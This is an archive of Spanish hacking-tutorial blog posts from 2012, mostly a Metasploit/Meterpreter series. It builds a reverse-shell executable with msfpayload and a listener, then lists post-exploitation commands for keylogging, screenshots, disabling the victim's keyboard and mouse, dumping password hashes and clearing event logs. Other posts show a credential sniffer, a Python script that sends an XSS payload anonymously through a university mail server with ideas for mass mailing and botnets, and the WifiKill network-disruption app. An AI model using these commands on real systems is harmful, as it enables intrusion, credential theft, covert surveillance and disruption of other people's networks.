miércoles, 26 de diciembre de 2012

Coqueteando con Metasploit: Meterpreter III

  Tercera entrega relacionada con meterpreter en la que empezaremos a conocer comandos que dan más juego que los que hemos visto en anteriores entregas. Desde keyloggers, hasta deshabilitar el teclado de la víctima pasando por hacer capturas de pantalla de su pc.

 Partimos de tener ya una sesión de meterpreter en el equipo de la víctima, vamos a conocer las distintas posibilidades que tenemos :D


Utilizando el keylogger

 Existen unas herramientas conocidas como keyloggers que permiten detectar las pulsaciones del teclado del ordenador. Meterpreter tiene el suyo propio y lo utilizaremos con keyscan.
  Existen tres comandos con keyscan, uno para iniciar, otro para finalizar y otro para volcar en pantalla la información capturada.

[+] Iniciar la captura:
keyscan_start

[+] Volcar la información capturada:
keyscan_dump

[+] Cerrar el keylogger:
keyscan_stop


Ver la pantalla de la víctima

  Antes hemos leer lo que esta escribiendo el atacado, pero, ¿existe la posibilidad de ver lo que está viendo en la pantalla?
  Screenshot es la utilidad que ofrece meterpreter para hacer capturas de pantalla del ordenador víctima y la forma de utilizarlo es muy simple:
screenshot

 acto seguido veremos la imagen de la pantalla:



Desactivar el ratón y el teclado

  Si por algún motivo queremos impedir que el usuario del sistema comprometido utilice el ratón y/o el teclado, existe uictl que permite estas funcionalidades.
  En el caso del teclado, para deshabilitarlo basta con:
uictl disable keyboard
  para volver a habilitarlo bastará con:
 uictl enable keyboard

  En lo que respecta al ratón, para desactivarlo es tan simple como:
uictl disable mouse
  con lo que para activarlo otra vez sería:
uictl enable mouse



Obteniendo las claves hash

  Una vez se ha comprometido el equipo con Metasploit y se posee una sesión de meterpreter, es posible obtener los hash de las claves de los usuarios del sistema contenidos en el archivo SAM (sistema operativo Windows).
La forma de obtener estas claves (en formato hash) es con hashdump:
hasdump


Viendo los privilegios

  Para ver los privilegios con que contamos en el equipo comprometido podemos utilizar getprivs:
getprivs


Limpiar el rastro 

  Por último, antes de "desaparecer" de la maquina atacada conviene limpiar nuestro rastro, para ello contamos con clearev:
clearev



  Con esto concluyo la entrada, en las próximas conoceremos las interesantes posibilidades que nos ofrece el comando run de meterpreter, nos leemos en breve ;)


martes, 18 de diciembre de 2012

Coqueteando con Metasploit: Meterpreter II

  En la pasada entrada de Metasploit vimos como llegar a obtener una consola de meterpreter en un sistema atacado, viendo ademas la forma en que era posible manejar sus sesiones. En la que nos ocupa veremos los comandos básicos a utilizar una vez se ha accedido ya al sistema comprometido.

Trabajando con procesos

  Meterpreter pone en la mano del atacante la posibilidad de cambiar su PID, es decir migrar a otro identificador de proceso distinto. Esta tarea la realiza gracias al comando migrate:
migrate <numero de proceso>

  Pero, ¿cómo sabemos a que proceso migrar o como podemos ver los procesos que están en ejecución? la respuesta nos la da la orden ps que nos mostrará el listado de proceso:
ps

 Si queremos comprobar el identificador de proceso actual de meterpreter (por ejemplo si acabamos de migrar a otro proceso y queremos comprobar que lo ha realizado correctamente) existe la orden getpid:
getpid



Directorios y ficheros

  Para ver el directorio actual en el que nos encontramos (en la máquina de la víctima) tenemos getwd:
getwd

También es posible listar los elementos existentes en el directorio mediante el comando ls:
ls

  Meterpreter permite editar ficheros del equipo de la víctima mediante el gran editor vi, para ello utilizaremos edit:
edit <nombre del fichero>



 Si en cambio solo queremos ver el contenido de fichero cat es nuestra elección:
cat <nombre del fichero>

  En ocasiones es muy probable que el atacante quiera descargar información de la víctima o subir algún archivo al sistema de ésta, para ello existen las ordenes download y upload respectivamente que permiten realizar estas tareas:
download <nombre del fichero>


upload <nombre del fichero>



Información de sistema

  Para ver el usuario con el que hemos accedido al equipo, podemos utilizar getuid:
getuid

  Si en cambio queremos conocer información del sistema que hemos "invadido" (como atacantes), podemos utilizar sysinfo:
sysinfo



Redes

  Meterpreter permite obtener información de la tarjeta de red de la víctima como si nos encontrásemos en ese mismo ordenador, para ello existen varios comandos que veremos a continuación.

  Para ver las tarjetas de red del equipo podemos utilizar ipconfig:
ipconfig

  Para cerrar existen otros comandos muy útiles como arp y route:
arp

route 



 Antes de cerrar la entrada quiero compartir una pequeña reflexión sobre su contenido, ya que entiendo que es muy esquemático, casi a modo de manual, pero entended que es necesario conocer las ordenes básicas antes de empezar a "jugar" como haremos en los siguientes  ;)

Nos leemos en breve

lunes, 10 de diciembre de 2012

Coqueteando con Metasploit: Meterpreter I

  Siguiendo con la saga de Metasploit, hoy iniciaremos una nueva subsaga relacionada con Meterpreter.

Pero, ¿qué es Meterpreter?  Según la web de metasploit unleashed y de forma muy resumida es:
Meterpreter is an advanced, dynamically extensible payload 
 Para mas información recomiendo muy encarecidamente que repaséis la web que he comentado antes ;) .

  Ésta herramienta permite, una vez se ha obtenido acceso al equipo de la víctima, realizar muy diversas acciones como son descargar ficheros, escalar privilegios, utilizar un keylogger o activar la webcam entre otras muchas posibilidades que veremos a lo largo de las entradas que compondrán esta subsaga.


  Lo primero que haremos será crear un ejecutable con un payload de meterpreter contenido como se ha hecho en otras ocasiones, para ello utilizaremos msfpayload:
msfpayload windows/shell_reverse_tcp LHOST=192.168.0.108 LPORT=31337 X > payload.exe
  Los parámetros importantes de la anterior orden y que se utilizarán posteriormente en el handler (veremos después que es esto) son los siguientes:
     [-] windows/shell_reverse_tcp  => El payload escogido.
     [-] LHOST=192.168.0.108  => La IP del equipo donde está ejecutándose Metasploit.
     [-] LPORT=31337  => El puerto en el que Metasploit está escuchando peticiones.


Lo que hará el binario creado es, una vez sea ejecutado, intentara conectar en la IP y puertos especificados y ofrecernos una shell inversa.

  NOTA: En esta entrada supondremos que la víctima ejecuta el archivo payload.exe, la forma de que ésta lo haga o de evadir los antivirus no la trataremos pues ya hemos hablado de ello en otras ocasiones.


  El siguiente paso es poner a Metasploit escuchando posibles conexiones de la víctima, para ello lo lanzamos con el clásico:
msfconsole

y preparamos el handler, su funcionalidad es esperar conexiones del payload especifico, en el puerto e IP especificados:
use multi/handlerset PAYLOAD windows/meterpreter/reverse_tcpset LHOST 192.168.0.108set LPORT 31337exploit
 Donde:
     [-] use multi/handler => Seleccionamos el handler.
     [-] set PAYLOAD windows/meterpreter/reverse_tcp => El payload escogido anteriormente en la creación del binario que enviamos a la víctima.
     [-] set LHOST 192.168.0.108 => Nuestra IP donde está el handler escuchando, es el mismo que hemos especificado anteriormente en la creación del ejecutable enviado a la víctima.
     [-] set LPORT 31337 => El puerto en el que Metasploit estará escuchando peticiones. Debe ser el mismo que el escogido en el ejecutable enviado a la víctima.
     [-] exploit => Lanza el handler.


  Una vez lanzado esperará a que la víctima ejecute el binario (payload.exe) para que éste establezca conexión con nosotros. Una vez lo haga obtendremos una shell de meterpreter (el prompt cambiará).


  Puesto que nos encontramos en un post de introducción veremos los comandos básicos, en próximas ediciones veremos cosas mas interesantes, pero primero es necesario conocer estas ordenes pues nos serán de utilidad en cosas más avanzadas.


Sesiones en Metasploit

 En Metasploit es posible tener varias sesiones de meterpreter en ejecución simultáneamente, para listar todas las existentes podemos utilizar:
sessions -l
 Esto nos mostrará todas las que se encuentran abiertas ordenadas en función de un Id, para recuperar una en concreto basta con:
sessions -i <Id de la sesión>

  Una vez hayamos acabado de trabajar con una sesión podemos cerrarla, para realizar esta tarea hay dos posibilidades:
Si estamos dentro de una sesión:
        quit
Sino estamos dentro de ninguna sesión:
        sessions -k <Id de la sesión>

  Existen más posibles parámetros para el comando sessions, basta usar el flag -h para verlos.




 Enviar una sesión a segundo plano

  Por determinados motivos puede ser necesario mandar la sesión actual de meterpreter a un segundo plano para realizar otras tareas con Metasploit, para esto existe el comando:
background



Ayuda 

  Tanto si estamos en Metasploit como dentro de una sesión meterpreter existe una orden que nos mostrará los posibles comandos a ejecutar:
?


  Con todo esto cerramos esta primera entrada a modo de introducción, en las siguientes ya iremos "escavando" en las posibilidades que ofrece meterpreter.

Nos leemos en breve ;)

miércoles, 5 de diciembre de 2012

Buscando redes con inSSIDer -- Windows && Android

  Hoy conoceremos inSSIDer, una aplicación para obtener información de redes inalámbricas bajo Windows y que conocí gracias al señor @a5rojo un día que íbamos a realizar cierta POC... ... ...

  Dicha aplicación nos muestra datos sobre las redes que tenemos alrededor como puede ser su canal, su cifrado, intensidad y un largo etc todo esto de forma muy bonita y con solo pulsar un simple botón.

 Para descargarla basta con dirigirnos a la web de los desarrolladores:
http://files.metageek.net/downloads/inSSIDer-Installer-2.1.6.1394.msi

Su instalación es rápida y en breve estaremos frente a su intuitiva interfaz:


  En la parte superior veremos las redes junto con su ESSID, BSSID, intensidad, cifrado... y en la parte inferior (pestaña Time Graph) en forma de gráfica las variaciones de señal sobre los distintos puntos de acceso.

  Las dos pestañas siguientes permiten ver las redes que se encuentran en el espectro de los 2.4 GHz y 5 GHz respectivamente mostrando una gráfica en función de la intensidad con que son recibidas:


  Además la aplicación ofrece opciones de filtrado y clasificación de las redes en función de la información que se desee mostrar por pantalla, así como también, opciones para interactuar con el GPS (que no dispongo y no he podido probar :D ).


  Pero aquí no acaba todo, pues existe una versión para MAC OS X (que no voy a analizar) y para Android, ambas gratuitas.

  La del sistema operativo del robot verde la podemos descargar desde Google Play:


https://play.google.com/store/apps/details?id=net.metageek

 Su interfaz es distinta respecto a la versión de escritorio, aunque la información que nos muestra es similar. Desde ESSID, BSSID, canal, intensidad...

  En la primera de sus pestañas (Networks) vemos información sobre las redes que hay en su alcance y si estamos conectados a una una pequeña gráfica sobre su señal:


  Las sucesivas pestañas muestran lo saturados que están los canales (channels) e información sobre los espectros de 2.4 GHz y 5GHz de forma similar que su versión mayor y de forma muy resultona:




 En resumen, una aplicación interesante, fácil de utilizar y gratuita que permite ver que se cuece a nuestro alrededor.

Nos leemos en breve (si tengo tiempo) :D

viernes, 30 de noviembre de 2012

Coqueteando con Metasploit: Módulo psnuffle

  Este es el primero(pese a que anteriormente ya se ha tocado el tema ;) ) de lo que es seguramente será una serie de post sobre Metasploit y herramientas asociadas a éste (Msfencode, MSFpayload...) con la finalidad  tener en el blog una guía de referencia de las posibilidades que dichas aplicaciones ofrecen. Cada entrada tendrá distinta longitud y tocará desde  POC comunes como ataques sobre un XP SP2 a secciones menos conocidas o comentadas como son algunos módulos auxiliares.

  Con esta pequeña introducción ya tenemos lo necesario para empezar con lo divertido, el módulo de Metasploit psnuffle :D.


 Psnuffle es un sniffer que permite, de forma sencilla capturar datos de los protocolos POP3, IMAP, FTP y HTTP (solo peticiones GET y no HTTPS). Para acceder a él basta con:
use auxiliary/sniffer/psnuffle
La información de este módulo es accesible mediante
info 
y permite configurar parámetros como filtros, la interfaz para capturar tráfico o los protocolos a utilizar entre otros.


 Una vez realizadas las configuraciones pertinentes (no son necesarias para su funcionamiento, solo para obtener más precisión el la captura) para iniciar el sniffer es tan simple como escribir
run

  Conforme se vayan capturando datos de los distintos protocolos se irán mostrando por pantalla:


  En resumen, un módulo simple que no llega a los niveles de otros sniffer más potentes como Wireshark o Ettercap pero puede ser útil para determinados momentos.

 Para completar el contenido de la entrada el siguiente  vídeo del desarrollador muestra las funcionalidades del módulo:



Además de estos enlaces a modo de fuente e información extra:
Metasploit Unleashed => https://www.offensive-security.com/metasploit-unleashed/Password_Sniffing 
MAX's blog (blog del desarrollador) => http://remote-exploit.blogspot.com.es/2009/08/psnuffle-password-sniffer-for.html


Con todo esto es hora despedirse, nos leemos en breve ;)

martes, 20 de noviembre de 2012

Los peligros de un XSS - Un ejemplo universitario: Ronda final

 Tercera y (espero) última entrega de "Los peligros de un XSS - Un ejemplo universitario".



Recapitulemos:

  Como vimos en episodios anteriores, existía una vulnerabilidad XSS en el sistema de mensajería interna de la universidad mediante el cual se podían ejecutar código Javascript en el navegador de quien recibiera y abriera el mensaje. Este "pequeño" fallo fue corregido de forma parcial limitando el uso de las etiquetas <script></script>, pero durante los hechos del segundo capítulo se comprobó que esta medida era insuficiente y gracias a la ayuda de un Cheat Sheet se conseguía saltar el sistema de filtrado.


Una vez rememorados los mejores momentos de los anteriores capítulos veamos que aventuras nos ofrece el cierre de la trilogía. En la universidad además del sistema de mensajería interno, existe un correo asociado a cada usuario utilizado por todos varias veces al día. A dicho correo (a no ser que sea redirigido) se le puede acceder por dos interfaces web, una clásica (segura)  y otra mas nueva (MUERTE!!) no tan fiable.

  Estando ya en situación, imaginemos que existiera, como en anteriores ocasiones una vulnerabilidad XSS a la hora de leer un correo, esto sería mucho más peligroso (más adelante veremos los motivos) debido entre otras cosas al mayor uso que tiene este servicio respecto al otro. Pero NO, el problema no está ahí (por desgracia), la cosa es mucho mas sería ya que es el asunto del correo electrónico el que permite ejecutar Javascript, con lo que basta con cargar la interfaz, que compruebe nuevos correos y BUM!!! se ejecuta cualquier cosa que haya en el asunto:


 En esta bonita interfaz, mandamos un correo a nuestro nombre al desafortunado destinatario. Como hemos dicho en el asunto escribiríamos algo como:
<img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">
 asumiendo siempre que queremos ejecutar un alert ;)

Nota: El significado de esta sentencia esta explicado en la entrega anterior.

  El desafortunado receptor, al abrir su bandeja y recibir el correo, verá impotente como su navegador muestra una ventana con (siguiendo el ejemplo) un 2 (además de mostrar al sensual David Hasselhoff ;)).



  Para un atacante, en anteriores casos, tenia que apropiarse de una cuenta ajena para salir bien parado de un ataque de este tipo, pero ahora, además de ser mas peligroso, existe la posibilidad de conectarse al servidor SMTP del correo y mandar mensajes de forma totalmente anónima (por este motivo es más peligroso que los anteriores).

   Para hacer tal tarea tendrá que seguir una serie de pasos:
telnet IP 25
una vez haya establecido la conexión:
MAIL FROM: emisor@dominio
dónde caca@dominio es el falso emisor.
RCPT TO: receptor@dominio
y  receptor@dominio es el receptor del mensaje (debe de ser auténtico).
DATA
es el cuerpo del mensaje y donde escribiremos el código Javascript de la siguiente forma:
Subject: <img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)"> 
 sabiendo que Subject es el asunto del mensaje.
Para finalizar se escribe un punto:
.
 y ya podemos cerrar la conexión con:
QUIT
Esto da la posibilidad a ataques anónimos.




Si todo esto no es suficiente peligroso, añadamos un script con un bucle para que enviara un correo a X personas y si se juntase con BeEF (como se vio en el post anterior) se podría montar una bootnet de grandes dimensiones.

 El script podrías ser una modificación de este:

#!/usr/bin/env python
import telnetlib

servidor = "IP"
asunto = '<img src="http://cache.thisorth.at/00000/00011/181.460x325.jpg" onload="alert(2)">'

t = telnetlib.Telnet(servidor, 25)
t.read_some()
t.read_some()
t.write("MAIL FROM: emisor@dominio")
t.write("\n")
t.read_some()
t.write("RCPT TO: receptor@dominio")
t.write("\n")
t.read_some()
t.write("DATA")
t.write("\n")
t.read_some()
t.write('Subject: ' + asunto)
t.write("\n")
t.write(".")
t.write("\n")
t.read_some()
t.read_some()
t.close()


  Este script con algunas pequeñas modificaciones junto con alguien con oscuras intenciones podría llegar a ser muy peligroso, con lo que cerraremos el post con un par de complementos para nuestro navegador que ayudarán a prevenir este tipo de ataques:

[+] Google Chrome / Chromium 
     [-] ScriptNo: Permite decidir que códigos Javascript se ejecutan en nuestro navegador y cuales no.
     [-] FlashBlock: Igual que el anterior pero referido a flash.

[+] Firefox / Iceweasel
    [-] NoScript:  Permite decidir que códigos Javascript se ejecutan en nuestro navegador y cuales no.
    [-] FlashblockIgual que el anterior pero referido a flash.


Y con este par de recomendaciones, concluimos la trilogía, nos leemos en breve ;)

Nota I: Información de SOGo =>  http://www.sogo.nu/about/overview.html
Nota II: Python y Telnet =>  http://docs.python.org/2/library/telnetlib.html





viernes, 16 de noviembre de 2012

Aplicaciones Android - WifiKill


  WifiKill es una herramienta que permite dejar sin conexión a los usuarios de una misma red a la que el dispositivo Android este conectado. Dicha aplicación duró apenas unos días en el Android Market (actual Google Play), así que ahora es posible encontrarla en los foros de XDA-developers en el siguiente enlace:
http://forum.xda-developers.com/showthread.php?t=1282900

 La actual versión (v1.2) es de pago (o requiere una donación), aunque se puede probar la versión de prueba que además de venir con publicidad solo funcionará durante 5 minutos seguidos.

 Como alternativa existe la versión antigua que funciona bien (al menos en mis pruebas) que sacrifica algunas funcionalidades a cambio de ser gratuita (con publicidad) y es la que se ha usado en esta entrada.
  Esta viejuna versión es posible descargarla en esta dirección:
http://forum.ponury.net/viewtopic.php?f=12&t=10

 Antes de empezar a comentar las posibilidades de la aplicación, hay que tener en cuenta que es necesario SER ROOT en el dispositivo para utilizarla.

  Lo primero que se verá al abrir la aplicación es una interfaz minimalista (simple), con un botón en la parte superior (valores ON/OFF) que permite iniciar la búsqueda de dispositivos en la red.
  Una vez se complete la búsqueda se mostrarán las direcciones IP de éstos(los dispositivos) junto con su dirección MAC y el fabricante de esta si se ha habilitado la pertinente opción.



 A partir de aquí su funcionamiento no puede ser mas simple, basta con seleccionar el dispositivo (o dispositivos) al cual se le quiera privar de la conexión a Internet y la aplicación empezará a hacer su trabajo:


Nota: También es posible seleccionar la red entera pulsando el botón All en la parte superior derecha.

  Cuando se quiera detener el acoso a la victima (o las víctimas) basta con desmarcar la pertinente casilla o detener la aplicación pulsando el botón superior.

  Respecto a su panel de opciones, se muestran diversas posibilidades como activar la resolución de nombres de fabricantes de tarjetas de red respecto a la dirección MAC de éstas o restringir el rango de IPs sobre el que se realizará el escaneo.



  Para finalizar solo recomendar no utilizar esto en grandes redes como empresas o universidades, puesto que no ésta no es una aplicación discreta en cuanto a su funcionamiento (sobretodo con la opción All) y tengo conocimiento de algunos amigos que con aplicaciones similares y con afán de broma han salido mal parados.

  Solo decir que instaléis y uséis esto bajo vuestra responsabilidad, nos leemos en breve ;)